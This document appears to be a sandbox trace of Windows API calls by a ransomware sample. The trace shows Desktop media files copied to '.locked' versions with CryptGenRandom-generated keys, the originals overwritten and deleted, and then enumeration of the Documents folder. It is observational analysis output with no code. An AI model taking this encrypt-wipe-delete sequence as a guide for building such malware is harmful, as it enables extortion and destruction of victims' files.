	[0071.462] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ua-gd3_2Lr0.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ua-gd3_2lr0.png"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0071.464] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0071.464] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0071.482] CloseHandle (hObject=0xc0) returned 1
	[0071.491] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ua-gd3_2Lr0.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ua-gd3_2lr0.png")) returned 1
	[0071.500] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vFj8enUSau3xYExaO.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vfj8enusau3xyexao.wav"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebf27b10, ftCreationTime.dwHighDateTime=0x1d4cf4f, ftLastAccessTime.dwLowDateTime=0x8c1cd5b0, ftLastAccessTime.dwHighDateTime=0x1d4ce81, ftLastWriteTime.dwLowDateTime=0x8c1cd5b0, ftLastWriteTime.dwHighDateTime=0x1d4ce81, nFileSizeHigh=0x0, nFileSizeLow=0xfa7b)) returned 1
	[0071.500] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vFj8enUSau3xYExaO.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vfj8enusau3xyexao.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0071.501] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0071.501] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vFj8enUSau3xYExaO.wav.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vfj8enusau3xyexao.wav.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0071.502] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0071.503] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c360 | out: pbBuffer=0x1238c360) returned 1
	[0071.503] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0071.503] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc181 | out: pbBuffer=0x123bc181) returned 1
	[0071.503] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0071.505] SetEvent (hEvent=0x80) returned 1
	[0071.505] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0xfa7b, lpOverlapped=0x0) returned 1
	[0071.507] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xfa7b, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0xfa7b, lpOverlapped=0x0) returned 1
	[0071.508] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0071.508] CloseHandle (hObject=0xc4) returned 1
	[0071.510] CloseHandle (hObject=0xc0) returned 1
	[0071.511] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.511] SetEvent (hEvent=0x80) returned 1
	[0071.511] SetEvent (hEvent=0x78) returned 1
	[0071.511] SetEvent (hEvent=0xb4) returned 1
	[0071.511] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.512] SetEvent (hEvent=0xb4) returned 1
	[0071.512] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x40, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee8a0*=0x40) returned 1
	[0071.514] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vFj8enUSau3xYExaO.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vfj8enusau3xyexao.wav")) returned 1
	[0071.533] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.533] SetEvent (hEvent=0xa8) returned 1
	[0071.533] SetEvent (hEvent=0x78) returned 1
	[0071.537] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.538] SetEvent (hEvent=0x78) returned 1
	[0071.538] SetEvent (hEvent=0xb4) returned 1
	[0071.538] SetEvent (hEvent=0x80) returned 1
	[0071.538] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.538] SetEvent (hEvent=0x80) returned 1
	[0071.540] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.540] SetEvent (hEvent=0x80) returned 1
	[0071.540] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.541] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.541] SetEvent (hEvent=0x80) returned 1
	[0071.541] SetEvent (hEvent=0xb4) returned 1
	[0071.541] SetEvent (hEvent=0x78) returned 1
	[0071.541] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.541] SetEvent (hEvent=0x78) returned 1
	[0071.541] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vFj8enUSau3xYExaO.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vfj8enusau3xyexao.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0071.542] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0071.542] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0071.558] CloseHandle (hObject=0xc0) returned 1
	[0071.566] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vFj8enUSau3xYExaO.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vfj8enusau3xyexao.wav")) returned 1
	[0071.575] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w.exe"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe704f780, ftCreationTime.dwHighDateTime=0x1d52dc4, ftLastAccessTime.dwLowDateTime=0xe79d8e00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xe53b3400, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x31e400)) returned 1
	[0071.575] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zbxI2l.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zbxi2l.mp3"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2cd8980, ftCreationTime.dwHighDateTime=0x1d4c88c, ftLastAccessTime.dwLowDateTime=0xec58b8b0, ftLastAccessTime.dwHighDateTime=0x1d4cd67, ftLastWriteTime.dwLowDateTime=0xec58b8b0, ftLastWriteTime.dwHighDateTime=0x1d4cd67, nFileSizeHigh=0x0, nFileSizeLow=0x4b42)) returned 1
	[0071.575] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zbxI2l.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zbxi2l.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0071.576] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0071.576] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zbxI2l.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zbxi2l.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0071.577] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0071.577] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c4c0 | out: pbBuffer=0x1238c4c0) returned 1
	[0071.577] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8220 | out: pbBuffer=0x127a8220) returned 1
	[0071.577] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc181 | out: pbBuffer=0x123bc181) returned 1
	[0071.577] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0071.580] SetEvent (hEvent=0xb4) returned 1
	[0071.580] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x4b42, lpOverlapped=0x0) returned 1
	[0071.581] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x4b42, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x4b42, lpOverlapped=0x0) returned 1
	[0071.582] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0071.582] CloseHandle (hObject=0xc4) returned 1
	[0071.584] CloseHandle (hObject=0xc0) returned 1
	[0071.584] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123ea000*, nNumberOfCharsToWrite=0x35, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x123ea000*, lpNumberOfCharsWritten=0x127ee8a0*=0x35) returned 1
	[0071.586] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.587] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zbxI2l.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zbxi2l.mp3")) returned 1
	[0071.604] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.605] SetEvent (hEvent=0xa8) returned 1
	[0071.605] SetEvent (hEvent=0xb4) returned 1
	[0071.609] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.609] SetEvent (hEvent=0xb4) returned 1
	[0071.610] SetEvent (hEvent=0x8c) returned 1
	[0071.610] SetEvent (hEvent=0x80) returned 1
	[0071.610] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.610] SetEvent (hEvent=0x80) returned 1
	[0071.612] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.612] SetEvent (hEvent=0x80) returned 1
	[0071.612] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.612] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0071.612] SetEvent (hEvent=0x80) returned 1
	[0071.612] SetEvent (hEvent=0x8c) returned 1
	[0071.613] SetEvent (hEvent=0xb4) returned 1
	[0071.613] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.613] SetEvent (hEvent=0xb4) returned 1
	[0071.613] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zbxI2l.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zbxi2l.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0071.614] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0071.614] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0071.640] CloseHandle (hObject=0xc0) returned 1
	[0071.650] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zbxI2l.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zbxi2l.mp3")) returned 1
	[0071.658] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xebaa5be0, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xebaa5be0, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0071.658] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0071.659] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xebaa5be0, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xebaa5be0, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0071.659] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xebaa5be0, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xebaa5be0, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0071.659] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5264020, ftCreationTime.dwHighDateTime=0x1d4e13d, ftLastAccessTime.dwLowDateTime=0x47c4e950, ftLastAccessTime.dwHighDateTime=0x1d4f45d, ftLastWriteTime.dwLowDateTime=0x47c4e950, ftLastWriteTime.dwHighDateTime=0x1d4f45d, nFileSizeHigh=0x0, nFileSizeLow=0x38aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="-i5 zp.xlsx", cAlternateFileName="-I5ZP~1.XLS")) returned 1
	[0071.659] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3df3160, ftCreationTime.dwHighDateTime=0x1d4d8c3, ftLastAccessTime.dwLowDateTime=0x7e159410, ftLastAccessTime.dwHighDateTime=0x1d4edf9, ftLastWriteTime.dwLowDateTime=0x7e159410, ftLastWriteTime.dwHighDateTime=0x1d4edf9, nFileSizeHigh=0x0, nFileSizeLow=0xd018, dwReserved0=0x0, dwReserved1=0x0, cFileName="0_T 0gaBQB.xlsx", cAlternateFileName="0_T0GA~1.XLS")) returned 1
	[0071.659] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2090f870, ftCreationTime.dwHighDateTime=0x1d4f03d, ftLastAccessTime.dwLowDateTime=0xab6b8010, ftLastAccessTime.dwHighDateTime=0x1d4b1d0, ftLastWriteTime.dwLowDateTime=0xab6b8010, ftLastWriteTime.dwHighDateTime=0x1d4b1d0, nFileSizeHigh=0x0, nFileSizeLow=0x1695a, dwReserved0=0x0, dwReserved1=0x0, cFileName="2I4gmvT9FNn6X2VW.pptx", cAlternateFileName="2I4GMV~1.PPT")) returned 1
	[0071.659] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x209c3640, ftCreationTime.dwHighDateTime=0x1d4c770, ftLastAccessTime.dwLowDateTime=0xa143fd80, ftLastAccessTime.dwHighDateTime=0x1d4c830, ftLastWriteTime.dwLowDateTime=0xa143fd80, ftLastWriteTime.dwHighDateTime=0x1d4c830, nFileSizeHigh=0x0, nFileSizeLow=0x10394, dwReserved0=0x0, dwReserved1=0x0, cFileName="6RnXopz-k.doc", cAlternateFileName="6RNXOP~1.DOC")) returned 1
	[0071.659] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc80e8e60, ftCreationTime.dwHighDateTime=0x1d4f064, ftLastAccessTime.dwLowDateTime=0xe0a8f940, ftLastAccessTime.dwHighDateTime=0x1d51ff0, ftLastWriteTime.dwLowDateTime=0xe0a8f940, ftLastWriteTime.dwHighDateTime=0x1d51ff0, nFileSizeHigh=0x0, nFileSizeLow=0xc0f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="7kTnD.pptx", cAlternateFileName="7KTND~1.PPT")) returned 1
	[0071.659] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x291aeb20, ftCreationTime.dwHighDateTime=0x1d50791, ftLastAccessTime.dwLowDateTime=0x400f260, ftLastAccessTime.dwHighDateTime=0x1d4cef4, ftLastWriteTime.dwLowDateTime=0x400f260, ftLastWriteTime.dwHighDateTime=0x1d4cef4, nFileSizeHigh=0x0, nFileSizeLow=0x113ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="b3pQdKWSVAGMlHxmHP.docx", cAlternateFileName="B3PQDK~1.DOC")) returned 1
	[0071.659] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5ea3210, ftCreationTime.dwHighDateTime=0x1d4cc17, ftLastAccessTime.dwLowDateTime=0x9f88b5c0, ftLastAccessTime.dwHighDateTime=0x1d4ca9d, ftLastWriteTime.dwLowDateTime=0x9f88b5c0, ftLastWriteTime.dwHighDateTime=0x1d4ca9d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BNZcRVrP4ZNbQtfNT_rY", cAlternateFileName="BNZCRV~1")) returned 1
	[0071.659] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42ac7f0, ftCreationTime.dwHighDateTime=0x1d5288d, ftLastAccessTime.dwLowDateTime=0x1c74f90, ftLastAccessTime.dwHighDateTime=0x1d4ba7b, ftLastWriteTime.dwLowDateTime=0x1c74f90, ftLastWriteTime.dwHighDateTime=0x1d4ba7b, nFileSizeHigh=0x0, nFileSizeLow=0x11dd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BQDECG7yW3K49TIHOfCx.pptx", cAlternateFileName="BQDECG~1.PPT")) returned 1
	[0071.659] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f1d4de0, ftCreationTime.dwHighDateTime=0x1d4ca22, ftLastAccessTime.dwLowDateTime=0xe785cb40, ftLastAccessTime.dwHighDateTime=0x1d4ce14, ftLastWriteTime.dwLowDateTime=0xe785cb40, ftLastWriteTime.dwHighDateTime=0x1d4ce14, nFileSizeHigh=0x0, nFileSizeLow=0x11437, dwReserved0=0x0, dwReserved1=0x0, cFileName="cQ3HZy-ljR_WZq8CsVX.odp", cAlternateFileName="CQ3HZY~1.ODP")) returned 1
	[0071.659] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0071.659] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8691e0, ftCreationTime.dwHighDateTime=0x1d4cc25, ftLastAccessTime.dwLowDateTime=0xf60afe70, ftLastAccessTime.dwHighDateTime=0x1d4f4c4, ftLastWriteTime.dwLowDateTime=0xf60afe70, ftLastWriteTime.dwHighDateTime=0x1d4f4c4, nFileSizeHigh=0x0, nFileSizeLow=0x10ced, dwReserved0=0x0, dwReserved1=0x0, cFileName="dugWQq.pptx", cAlternateFileName="DUGWQQ~1.PPT")) returned 1
	[0071.659] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf38c9830, ftCreationTime.dwHighDateTime=0x1d4ccc8, ftLastAccessTime.dwLowDateTime=0x4dadbe80, ftLastAccessTime.dwHighDateTime=0x1d4d43e, ftLastWriteTime.dwLowDateTime=0x4dadbe80, ftLastWriteTime.dwHighDateTime=0x1d4d43e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="e34RV1owXwdn9", cAlternateFileName="E34RV1~1")) returned 1
	[0071.659] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x423c0ac0, ftCreationTime.dwHighDateTime=0x1d4c525, ftLastAccessTime.dwLowDateTime=0xb03a6a50, ftLastAccessTime.dwHighDateTime=0x1d4b39e, ftLastWriteTime.dwLowDateTime=0xb03a6a50, ftLastWriteTime.dwHighDateTime=0x1d4b39e, nFileSizeHigh=0x0, nFileSizeLow=0x1165e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FpBJs9T0l nBN.docx", cAlternateFileName="FPBJS9~1.DOC")) returned 1
	[0071.659] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde51e7c0, ftCreationTime.dwHighDateTime=0x1d50b95, ftLastAccessTime.dwLowDateTime=0xb7d10a40, ftLastAccessTime.dwHighDateTime=0x1d4f49d, ftLastWriteTime.dwLowDateTime=0xb7d10a40, ftLastWriteTime.dwHighDateTime=0x1d4f49d, nFileSizeHigh=0x0, nFileSizeLow=0x7547, dwReserved0=0x0, dwReserved1=0x0, cFileName="gt7FMXw.xlsx", cAlternateFileName="GT7FMX~1.XLS")) returned 1
	[0071.659] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ecc7940, ftCreationTime.dwHighDateTime=0x1d4ed63, ftLastAccessTime.dwLowDateTime=0xe605f9f0, ftLastAccessTime.dwHighDateTime=0x1d5170e, ftLastWriteTime.dwLowDateTime=0xe605f9f0, ftLastWriteTime.dwHighDateTime=0x1d5170e, nFileSizeHigh=0x0, nFileSizeLow=0x15394, dwReserved0=0x0, dwReserved1=0x0, cFileName="JD48gNU5dunhkE8.xlsx", cAlternateFileName="JD48GN~1.XLS")) returned 1
	[0071.660] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb749f1b0, ftCreationTime.dwHighDateTime=0x1d4dafb, ftLastAccessTime.dwLowDateTime=0xc7b0ce70, ftLastAccessTime.dwHighDateTime=0x1d4b391, ftLastWriteTime.dwLowDateTime=0xc7b0ce70, ftLastWriteTime.dwHighDateTime=0x1d4b391, nFileSizeHigh=0x0, nFileSizeLow=0x16738, dwReserved0=0x0, dwReserved1=0x0, cFileName="lvnpUtkIx63C1rzbXRhw.docx", cAlternateFileName="LVNPUT~1.DOC")) returned 1
	[0071.660] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1
